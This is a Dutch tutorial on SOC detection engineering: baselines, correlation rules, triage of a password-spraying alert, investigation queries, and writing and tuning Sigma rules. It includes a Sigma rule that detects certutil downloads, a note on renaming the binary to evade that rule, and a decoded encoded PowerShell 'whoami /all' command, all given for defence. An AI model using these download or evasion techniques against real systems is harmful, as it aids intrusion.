Een referentieprofiel beschrijft het normale gedrag van een entiteit over een referentieperiode. Een anomalie is een aanzienlijke afwijking daarvan. Ongebruikelijke activiteit heeft een verklaring nodig: het kan een aanval, een bedrijfswijziging of een gegevensprobleem zijn.

Vergelijk de juiste zaken

Een bruikbaar referentieprofiel kan volume, tijdstippen, relaties of configuratie beschrijven. Voorbeelden zijn bytes per dag, gebruikelijke werktijden, normale bestemmingen, goedgekeurde software en open poorten. Een referentieprofiel met een vergelijkingsgroep vergelijkt personen of systemen die vergelijkbaar werk doen. Dat helpt wanneer een entiteit weinig geschiedenis heeft.

Kies eerst de entiteit en de meetwaarde. Gebruik meerdere weken om weekcycli vast te leggen en neem pieken aan het einde van de maand of het kwartaal mee wanneer dat relevant is. Verwijder bekende incidenten en storingen uit de trainingsgegevens. Vergelijk maandag om 09.00 uur met vergelijkbare periodes op maandag, niet met een rustige zondag. Nieuwe software, organisatiewijzigingen en seizoensactiviteit vereisen herbeoordeling; anders wordt gewone verandering een stroom anomalieën.

Bereken en interpreteer de afwijking

Het gemiddelde meet het gemiddelde niveau en de standaardafwijking meet de spreiding. Een z-score drukt de afstand tot het gemiddelde uit in standaardafwijkingen:

Voor FS01 hebben de uitgaande totalen van tien werkdagen een gemiddelde van 4,1 GB en een steekproefstandaardafwijking van ongeveer 0,26 GB. Een drempel van drie standaardafwijkingen is ongeveer 4,87 GB op basis van de niet-afgeronde spreiding. De 9,6 GB van vandaag heeft een z-score van ongeveer 21. De volgende zoekopdrachten moeten de bestemming, het proces of account en gepland werk vaststellen; de statistiek alleen kan geen oorzaak geven.

Het gemiddelde plus drie standaardafwijkingen is een beginpunt voor gegevens die ongeveer klokvormig zijn verdeeld. Beveiligingsvolumes zijn vaak scheef verdeeld, met veel kleine waarnemingen en enkele zeer grote. Medianen en percentielen kunnen bruikbaardere vergelijkingen geven. Een drempel boven het historische 99e percentiel identificeert een ongebruikelijk grote waarneming zonder een klokvormige verdeling te veronderstellen. Die blijft wel afhankelijk van een representatieve referentieperiode.

Combineer zwakke signalen per entiteit

Gedragsanalyse van gebruikers en entiteiten, of UEBA, bouwt gedragsprofielen op, vaak met machinaal leren en vergelijkingsgroepen. Risicogestuurde alarmering telt scores voor dezelfde entiteit over een periode op. Een aanmelding vanuit een nieuw land ter waarde van 40 punten, het eerste gebruik van een beheerhulpmiddel ter waarde van 30 en een grote download ter waarde van 45 zijn samen 115 binnen 24 uur. Met een drempel van 100 vertelt de gecombineerde beveiligingsmelding een sterker verhaal dan drie afzonderlijke zwakke meldingen.

De identiteit en het tijdvenster zijn essentieel. Scores van niet-gerelateerde gebruikers optellen zou een ander en misleidend resultaat geven. Scores rangschikken bewijs; het zijn geen kansen tenzij het systeem ze expliciet zo definieert.

Een vergiftigd referentieprofiel kan aanvallersgedrag als normaal aanleren. Langzame activiteit met een laag volume kan ook onder een volumedrempel blijven, zoals 200 MB boven op de gebruikelijke dagelijkse overdracht van 4 GB van een server. Combineer anomalielogica met regels voor bekend gedrag en statuscontroles van gegevensbronnen en beoordeel drempels opnieuw wanneer normale activiteit verandert.

Een SIEM-systeem verzamelt, parseert, normaliseert, bewaart en doorzoekt gebeurtenissen en past daarna regels of analyses toe om beveiligingsmeldingen te genereren. Correlatie verbindt gebeurtenissen die binnen een tijdspanne een identiteit, host, adres, sessie of ander kenmerk delen. SOAR-hulpmiddelen kunnen werk op de daaruit voortkomende beveiligingsmeldingen automatiseren.

Schrijf de regel in onderdelen

Elke regel heeft een filter, groeperingssleutel, venster, aggregatie, voorwaarde en beveiligingsmelding als uitvoer nodig. Benoem elk onderdeel voordat je productsyntaxis kiest.

De groeperingssleutel bepaalt wat de regel kan detecteren. Aantallen per account onthullen geconcentreerde raadpogingen. Unieke gebruikers per bron onthullen password spraying vanaf één bron. Unieke bronnen per account onthullen verspreide aanvallen op dat account. Verspreide password spraying over zowel verschillende accounts als adressen kan onder al die drempels blijven; onderzoek gedeelde doelapplicaties, tijdstippen, clientkenmerken of veranderingen in het totale percentage mislukkingen.

Werk een volgorde uit

Selecteer eerst mislukte authenticaties gegroepeerd op user.name en source.ip, met minstens 10 mislukkingen binnen 5 minuten. Vereis daarna een geslaagde authenticatie voor dezelfde gebruiker en bron binnen de daaropvolgende 10 minuten. Twaalf mislukkingen van jdoe vanaf 198.51.100.20 tussen 10:03:10 en 10:06:40, gevolgd door succes om 10:07:05, voldoen aan beide stappen. Een geslaagde authenticatie voor een andere gebruiker mag de volgorde niet voltooien.

Sigma kan correlaties over basisregels uitdrukken met type, rules, group-by, timespan en condition. Typen zijn onder meer event_count, value_count, temporal en temporal_ordered. Een correlatie die gebeurtenissen telt voor een regel voor mislukte aanmeldingen kan groeperen op TargetUserName, 5m gebruiken en gte: 10 vereisen. Omzetting naar een backend vereist nog steeds correcte veldkoppeling en ondersteunde betekenis van de logica.

Stem de timing af op het bedoelde patroon

Vaste vensters verdelen de tijd in blokken. Zes mislukkingen in 10.00–10.05 uur en vier in 10.05–10.10 uur bereiken in geen van beide blokken tien. Een schuivend venster van vijf minuten kan alle tien opvangen als de reeks erin past. Langere vensters kunnen langzamere aanvallen opvangen en vereisen meer verwerking. De vertraging van een beveiligingsmelding hangt af van de uitvoeringsfrequentie, ontvangstvertraging en of de beoordeling wacht tot een venster sluit.

Gebruik het gebeurtenistijdstip en houd rekening met laat binnengekomen gegevens met passende vertraging of terugkijktijd. Normaliseer velden over bronnen heen, corrigeer klokproblemen en dedupliceer herhaalde afleveringen op basis van gebeurtenisidentiteit voordat je telt. Overlappende uitvoeringen van regels hebben ook groepering van beveiligingsmeldingen nodig, zodat dezelfde reeks de wachtrij niet overspoelt.

De beveiligingsmelding moet het doel van de regel, gebruiker of host, adressen, aantallen, eerste en laatste tijdstippen, ernst, links naar ruwe gebeurtenissen en triage-instructies bevatten. Controleer vereiste gegevens en lokale volumes vóór de uitrol: correlatie kan een gebeurtenis die de bron nooit heeft geregistreerd niet reconstrueren.

Een beveiligingsmelding kan technisch correct zijn zonder dat incidentafhandeling nodig is. Gebruik consequente uitkomstlabels zodat afsluitregistraties helpen detecties te verbeteren in plaats van te verbergen waarom meldingen zijn afgesloten.

Onderscheid het gedrag van de betekenis ervan

Een toegestane kwetsbaarheidsscanner scant daadwerkelijk. Een scanregel die dat ziet, geeft een terecht positief resultaat bij onschadelijk gedrag. Een parserfout die normaal verkeer op een scan laat lijken, geeft een foutpositief resultaat. Verschillende teams gebruiken labels verschillend; operationeel is van belang dat er één consequente definitie en een vastgelegde reden zijn.

Nauwkeurigheid van gedragsovereenkomst vraagt of het beschreven gedrag plaatsvond. Precisie van beveiligingsmeldingen vraagt hier welk aandeel van alle meldingen als kwaadaardig is bevestigd. De noemer omvat foutpositieve resultaten en terecht positieve resultaten bij onschadelijk gedrag:

Zes kwaadaardige beveiligingsmeldingen op een totaal van 200 geven een precisie van 3%. Als de scanner veel correcte maar toegestane overeenkomsten veroorzaakt, kan de nauwkeurigheid van gedragsovereenkomst goed zijn terwijl de precisie van beveiligingsmeldingen laag is. Dat wijst erop dat de operationele reikwijdte van de regel moet veranderen, niet dat de waarnemingen onjuist waren.

Houd rekening met wat is gemist

Sensitiviteit meet het aandeel van de werkelijke kwaadaardige activiteit dat is gedetecteerd:

Gemiste gevallen kunnen aan het licht komen via incidenten, proactief dreigingsonderzoek, redteamwerk of gecontroleerde tests. Zonder zulk bewijs zegt een stille wachtrij weinig over de sensitiviteit. Een hogere drempel kan beveiligingsmeldingen met veel ruis wegnemen terwijl langzamere aanvallen worden gemist, dus beoordeel zowel gedetecteerd als gemist gedrag.

De basisfrequentie is van belang omdat aanvallen zeldzaam zijn tussen gewone gebeurtenissen. Een percentage van 0,1% onterechte meldingen over ongeveer twee miljoen onschadelijke gebeurtenissen levert ongeveer 2.000 valse beveiligingsmeldingen op. Zelfs een klein percentage kan een team overbelasten. Aggregatie, sterkere context en risicoscores kunnen zwakke signalen bruikbaarder maken.

Beslis wat eerst aandacht nodig heeft

Ernst beschrijft hoe serieus de gedetecteerde activiteit zou zijn als die daadwerkelijk plaatsvond. Prioriteit bepaalt de volgorde van afhandeling op basis van ernst, betrouwbaarheid en de kriticiteit van het IT-middel of de gebruiker. Een beveiligingsmelding met gemiddelde ernst op een domeincontroller kan urgenter zijn dan een melding met hoge ernst op een geïsoleerde testmachine.

Herhaalde beveiligingsmeldingen met weinig waarde veroorzaken alarmmoeheid: analisten bekijken ze vluchtig en echte aanvallen worden gemakkelijker gemist. Elke melding in de wachtrij moet een actie of besluit ondersteunen. Houd waarnemingen waarop geen actie nodig is beschikbaar in logboeken of dashboards. Leg bewijs en redenen voor afsluiting vast, zodat ontwikkelaars bij het afstemmen onderscheid kunnen maken tussen slechte parsing, toegestaan gedrag, dubbele uitvoer en daadwerkelijke kwaadaardige detecties.

Triage is de eerste beoordeling van de vraag of een beveiligingsmelding echt is, hoe urgent die is en wat er daarna moet gebeuren. Werk binnen de responsdoelen van het team en gebruik prioriteit om te bepalen welke melding je eerst onderzoekt.

Volg een herhaalbare route

1. Begrijp. Lees het doel, de logica, entiteiten, tijdsperiode en werkinstructie van de regel. Weet welk gedrag de regel stelt te detecteren en wat de verwachte onschuldige oorzaken zijn.
2. Valideer. Open de ruwe gebeurtenissen. Controleer parsing, tijdstempels, host en identiteit, gebeurtenisuitkomst, duplicaten en testgegevens. Een overtuigende titel kan een verkeerde koppeling van het bronveld niet herstellen.
3. Voeg context toe. Controleer rol en eigenaar van het IT-middel, bijzondere rechten, normale activiteit, wijzigingstickets, geplande tests, indicatorreputatie en eerdere afsluitingen.
4. Bepaal de omvang. Zoek naar gerelateerde hosts, gebruikers, bestemmingen, hashes en beveiligingsmeldingen vóór en na de overeenkomst. Stel een korte UTC-tijdlijn op.
5. Beslis en documenteer. Sluit af met een onderbouwde uitkomst, blijf met een reden monitoren of escaleer een vermoedelijk incident.

Een beweerd onderhoudsvenster vereist een bijpassende toestemmingsregistratie. Een bekend beheerdersaccount kan zelf gecompromitteerd zijn. Contextcontroles moeten de aannemelijke verklaring toetsen in plaats van die simpelweg te accepteren.

Behandel de beveiligingsmelding over password spraying

De beveiligingsmelding rapporteert dat 198.51.100.77 van 10.00 tot 10.20 uur UTC 46 accounts probeert. Ruwe 4625-records tonen 41 resultaten met een verkeerd wachtwoord en vijf met een onbekende gebruiker, allemaal type 3. Het adres is geen toegestane scanner en er is geen penetratietest gepland.

Zoek naar geslaagde aanmeldingen vanaf dezelfde herkomst en in dezelfde periode. Een 4624 voor m.tanaka verschijnt om 10.21 uur, gevolgd door mailbox­toegang om 10.24 uur. Deze vervolggebeurtenissen verhogen de betrouwbaarheid en urgentie ten opzichte van een reeks geblokkeerde raadpogingen. Documenteer welk account slaagde en voor welke accounts geen geslaagde aanmelding is waargenomen. Het ontbreken van resultaten in de beschikbare logboeken moet gekoppeld blijven aan de reikwijdte van die zoekopdracht.

Het besluit is om als kwaadaardige activiteit met hoge prioriteit te escaleren. Voeg de ruwe records, query's, toestemmingscontroles en tijdlijn toe. Reputatierapporten ondersteunen het besluit, maar de gekoppelde authenticatie- en mailboxacties vormen het belangrijkste bewijs.

Laat een registratie achter die een andere analist kan gebruiken

Een afsluitregistratie vermeldt wat is gecontroleerd, de relevante gebeurtenis-ID's en tijden, de reikwijdte van de query, ondersteunend bewijs, de redenering en de uitkomst. Vermeld bij een terecht positief resultaat bij onschadelijk gedrag de verwijzing naar de toestemming en wie die heeft bevestigd. Leg bij een foutpositief resultaat de discrepantie uit en dien een afstemmingsverzoek in als het terugkeert.

Een overdracht bij escalatie vermeldt wat er gebeurde, wanneer, de getroffen entiteiten, bewijs, ingeschatte ernst en betrouwbaarheid, onbeantwoorde vragen en elk onmiddellijk risico zoals een actieve sessie of een doorlopende uitgaande overdracht. Het incidentresponsteam moet waargenomen feiten van hypothesen kunnen onderscheiden. Als de impact groot kan zijn en er belangrijke twijfel blijft, escaleer die onzekerheid dan duidelijk in plaats van op elke mogelijke controle te wachten.

Stel een tijdslimiet voor werk met lage prioriteit zodat dit kritieke beveiligingsmeldingen niet verdringt. Bewaar voldoende details van query's en resultaten zodat de volgende analist de zoekopdracht kan reproduceren en met hetzelfde bewijs kan doorgaan.

Een goede onderzoeksquery beantwoordt een specifieke vraag. Begin met de tijd en entiteit van de beveiligingsmelding, selecteer nuttige velden en sorteer op gebeurtenistijdstip. Verbreed de zoekopdracht wanneer een resultaat daar aanleiding toe geeft.

Ga van één aanwijzing naar gerelateerd bewijs

Een leveranciersonafhankelijke query kan vragen naar authenticatiegebeurtenissen vanaf 198.51.100.77 over 24 uur, gegroepeerd op user.name en event.outcome. Aantallen onthullen de breedte; de ruwe regels stellen exacte acties en tijdstippen vast. Eén zoekopdracht over maanden van elke bron is vaak langzaam en moeilijk te interpreteren.

Vervolgonderzoek via gerelateerde gegevens volgt een relatie: van adres naar hosts die contact maakten, van host naar het proces dat de verbinding startte, van proces naar gebruiker, van gebruiker naar aanmeldingen. Noteer bij elke stap de query, tijdsgrenzen, identificaties en het resultaat. Koppel procesidentificaties en gebeurtenistijdstippen waar beschikbaar; een opnieuw gebruikt adres of procesnummer kan anders een onjuiste koppeling opleveren.

Decodeer zonder uit te voeren

PowerShell -EncodedCommand gebruikt Base64 van UTF-16LE-tekst. dwBoAG8AYQBtAGkAIAAvAGEAbABsAA== decodeert naar whoami /all. Selecteer na het decoderen van bytes de juiste tekstcodering. Een hulpmiddel zoals CyberChef kan stappen aan elkaar schakelen; leg de lagen vast en bewaar de oorspronkelijke waarde. Decodering maakt tekst zichtbaar voor onderzoek; daarvoor hoef je de opdracht niet uit te voeren.

Voeg veilig externe context toe

Registratiegegevens, domeinleeftijd, netwerkeigendom, geolocatie, IP-reputatie, hashopzoekingen en bestaande sandboxrapporten kunnen richting geven aan de volgende zoekopdracht. Een recent domein of een gemeld adres in een gedeelde cloud vereist bevestiging uit andere bronnen. Een schone reputatie kan wijzen op een nieuwe of weinig geziene dreiging.

Bescherm onderzoeksgegevens: gebruik goedgekeurde opzoekhulpmiddelen en geïsoleerde sandboxes, zoek een hash op in plaats van een gevoelig bestand naar een openbare scanner te uploaden en vermijd rechtstreekse bezoeken aan verdachte infrastructuur vanaf het bedrijfsnetwerk. Openbare uploads kunnen vertrouwelijke bestanden blootstellen of een onderzoek aan een aanvaller onthullen.

AI-assistenten kunnen logboeken samenvatten, opdrachten uitleggen of zoekopdrachten opstellen. Verifieer hun voorgestelde velden en conclusies aan de hand van ruwe gebeurtenissen en documentatie. Gebruik hulpmiddelen die volgens het gegevensbeleid van de organisatie zijn toegestaan. Behandel door aanvallers beheerste logteksten, waaronder useragents en bestandsnamen, als gegevens, ook wanneer ze instructies voor een AI-systeem bevatten.

Houd lijsten van entiteiten gescheiden

Vervolgonderzoek in een proxy vanaf één host vindt er nog drie die contact maken met hetzelfde adres: vier hosts hadden contact. Een e-mailzoekopdracht vindt 14 ontvangers van een document. Dit zijn verschillende groepen. Bevestig uitvoering op de hosts met endpointbewijs en koppel ontvangers aan hun apparaten voordat je de reikwijdte uitbreidt. Netwerkcontact alleen beantwoordt niet of uitvoering plaatsvond en aantallen hosts van aantallen ontvangers aftrekken geeft een betekenisloos resultaat.

Detectieontwikkeling behandelt regels als een herhaalbaar proces van ontwerp, testen en onderhoud. Detectieregels als code houdt ze onder versiebeheer met beoordeling en automatische controles, zodat een wijziging kan worden verklaard en gereproduceerd.

Begin met het gedrag en de gegevens

Bepaal de behoefte op basis van een relevante dreiging, een incident, ATT&CK-techniek, redteambevinding of bekend hiaat. Identificeer de bron en velden die het gedrag onthullen. Bevestig verzameling, parsing en normalisatie voordat je logica schrijft. Schrijf, test, documenteer, implementeer, stem af, beoordeel en beëindig uiteindelijk de detectie.

Atomaire indicatoren zoals één bestandshash kunnen snel een bekend spoor identificeren. Gedragsregels, zoals een Office-programma dat een scriptinterpreter start, blijven bij meer wijzigingen aan het spoor werken. Koppel het gedrag aan relevante ATT&CK-technieken, bijvoorbeeld T1059.001 voor PowerShell of T1105 voor het binnenhalen van hulpmiddelen. Een label legt de bedoelde dekking vast; een geslaagde test stelt vast dat de lokale implementatie het gedrag daadwerkelijk detecteert.

Lees een Sigma-regel

Sigma is een overdraagbaar YAML-detectieformaat. Een regel heeft title, logsource en detection. Logbronkenmerken zoals product, category en service selecteren passende gegevens; gebruik de combinatie die de bron identificeert. Benoemde selecties beschrijven overeenkomsten en condition combineert ze. Meerdere velden in één selectie gebruiken EN; een lijst met waarden gebruikt normaal OF. Modifiers zoals contains, endswith en all veranderen de vergelijking.

title: Certutil Download Activity
logsource:
  product: windows
  category: process_creation
detection:
  selection_img:
    Image|endswith: '\certutil.exe'
  selection_cli:
    CommandLine|contains|all:
      - 'urlcache'
      - 'http'
  condition: selection_img and selection_cli
falsepositives:
  - Administrative file download
level: high
tags:
  - attack.t1105

Deze regel vereist dat het pad van het uitvoerbare bestand eindigt op \certutil.exe en dat de opdrachtregel zowel urlcache als http bevat. De regel heeft procesaanmaak met opdrachtregels nodig, zoals Sysmon 1 of passend geconfigureerde 4688. Zet de regel om en controleer die aan de hand van de veldkoppelingen van de backend. Het hernoemen van het uitvoerbare bestand kan deze specifieke controle van het bestandspad omzeilen, dus documenteer die beperking.

Test en maak de beveiligingsmelding bruikbaar

Speel gebeurtenissen die op kwaadaardige activiteit lijken opnieuw af of voer goedgekeurde veilige simulaties uit in een testomgeving. Bevestig de verwachte beveiligingsmelding en de entiteitsvelden ervan. Voer de regel uit op historische normale gegevens, bijvoorbeeld 30 dagen, om de ruis te schatten. Neem grensgevallen mee: hoofdletters en kleine letters, aanhalingstekens, spaties, ontbrekende velden, hernoemde hulpmiddelen en aannemelijk gebruik door beheerders. Een test die één keer afgaat, stelt minder vast dan een positieve test plus grens- en ruistests.

Documenteer doel, vereiste bronnen, logica, koppeling aan ATT&CK, ernst, bekende onschuldige oorzaken, triagestappen, testbewijs, verwacht volume, eigenaar en beoordelingsdatum. Een uitrol die alleen monitort, laat het team de werkelijke uitvoer bekijken voordat het er operationeel op vertrouwt. Regels hebben een eigenaar nodig die reageert wanneer bronindelingen of bedrijfsactiviteit veranderen.

Afstemming verandert regellogica, drempels, reikwijdte of context om beveiligingsmeldingen bruikbaarder te maken terwijl de bedoelde detectie behouden blijft. Begin met afsluitregistraties: slechte parsing, toegestaan gedrag en herhaalde uitvoer vereisen verschillende oplossingen.

Kies een wijziging die bij de oorzaak past

Gebruik voor bekend toegestaan gedrag een beperkte uitzondering. Voeg voor niet-gerelateerde gebeurtenissen een betekenisvolle voorwaarde toe, zoals ouderproces, volledig pad, onderdeel van de opdrachtregel, identiteitsrol of context van het IT-middel. Pas drempels en vensters aan op basis van gemeten activiteit. Groepeer herhaalde overeenkomsten in één beveiligingsmelding per entiteit en periode. Een zwak signaal kan bijdragen aan een risicoscore in plaats van een afzonderlijk item in de wachtrij te maken.

Uitsluitingen hebben een eigenaar, reden en beoordelings- of vervaldatum nodig. Sluit het specifieke adres en de identiteit van een scanner uit voor de scanregel, met het goedgekeurde schema. Als je heel 10.0.0.0/8 uitsluit, ziet de regel interne aanvallen niet meer. Een back-upuitzondering moet een vertrouwd volledig pad en een vertrouwde ondertekenaar gebruiken; malware kan een bestandsnaam zoals backup.exe kopiëren. Een hele beschrijfbare map zoals C:\Temp\ uitsluiten is een onveilige kortere weg.

Meet de uitgewerkte wijziging

Een scanregel genereert 200 beveiligingsmeldingen in een maand; zes zijn bevestigd kwaadaardig. De precisie van beveiligingsmeldingen is 3%. Triage vindt 150 overeenkomsten met de toegestane scanner 10.0.9.15 tijdens het scanvenster. Als je die bron voor deze regel en dit venster uitsluit, blijven 50 beveiligingsmeldingen over, inclusief dezelfde zes kwaadaardige:

Het volume daalt met 75%. De waargenomen kwaadaardige detecties blijven behouden en scans door die host buiten het venster leveren nog steeds beveiligingsmeldingen op. Dat resultaat achteraf omvat niet elke toekomstige aanvalsroute; test ook kwaadaardige activiteit dicht bij de grens van de uitsluiting, inclusief mogelijk misbruik van een goedgekeurd systeem.

Als je een drempel voor mislukkingen verhoogt van 10 naar 50 in vijf minuten, kan dat gewone herhalingspogingen onderdrukken maar ook aanvallen tussen die waarden missen. Als je de regel uitschakelt, verdwijnt de dekking volledig. Voer na elke afstemmingswijziging positieve tests opnieuw uit en onderzoek welke eerder gedetecteerde gevallen nu verdwijnen.

Houd kwaliteit en gegevensstatus zichtbaar

Volg het volume per regel, bevestigd kwaadaardige detecties, precisie en bekende gemiste gevallen. Een foutpositief percentage heeft een gedefinieerde noemer nodig; het aandeel beveiligingsmeldingen dat als foutpositief wordt afgesloten, is een andere meetwaarde dan het percentage over onschadelijke gebeurtenissen. Documenteer welke meetwaarde het team rapporteert.

De gemiddelde detectietijd meet de vertraging vanaf het begin van kwaadaardige activiteit tot de detectie. De gemiddelde responstijd volgt het door het team gedefinieerde responsinterval. Houd die definitie gelijk wanneer je periodes vergelijkt. Beoordeel de geteste dekking van prioritaire ATT&CK-technieken naast de status van bronnen, ontbrekende velden, parseerfouten en achterstanden. Een lager aantal beveiligingsmeldingen nadat een parser defect raakt, is een monitoringfout.

Test opnieuw na wijzigingen in bronnen of parsers, beoordeel uitzonderingen die verlopen, stel verouderde regels buiten gebruik en voeg detecties toe voor gedrag dat nieuw relevant is. Purple-teamoefeningen en inbraak- en aanvalssimulaties kunnen hiaten onthullen voordat een echt incident dat doet. Bewaar wijzigingen en testresultaten bij de regel zodat de volgende beoordeling kan zien waarom de huidige grenzen bestaan.